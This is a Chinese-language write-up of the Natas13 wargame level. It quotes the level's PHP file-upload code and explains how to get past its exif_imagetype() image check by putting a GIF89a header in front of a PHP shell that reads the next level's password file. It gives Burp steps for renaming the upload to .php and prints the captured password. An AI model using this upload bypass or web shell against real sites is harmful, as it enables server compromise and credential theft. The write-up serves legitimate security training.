Natas13 Writeup（文件上传，绕过图片签名检测）

Natas13：

与上一关页面类似，还是文件上传，只是多了提示“出于安全原因，我们现在仅接受图像文件！”。源码如下

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href="$target_path">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {

审计源码，发现源码使用exif_imagetype()函数检验文件是否是图片，exif_imagetype()函数会读取一个图像的第一个字节并检查其签名，只要在php文件最前面加上图片信息签名即可绕过。

GIF89a

<?php
system('cat /etc/natas_webpass/natas14');
?>

其余与12题相同。

1.构造一个简单的test.php文件，用于读取/etc/natas_webpass/natas14，GIF89a用于绕过签名检测，代码如上。

2.点击上传php文件，用burp拦截，修改name后缀为php，点击Go，上传成功。

3.URL访问返回的php页面，得到flag。

flag：Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1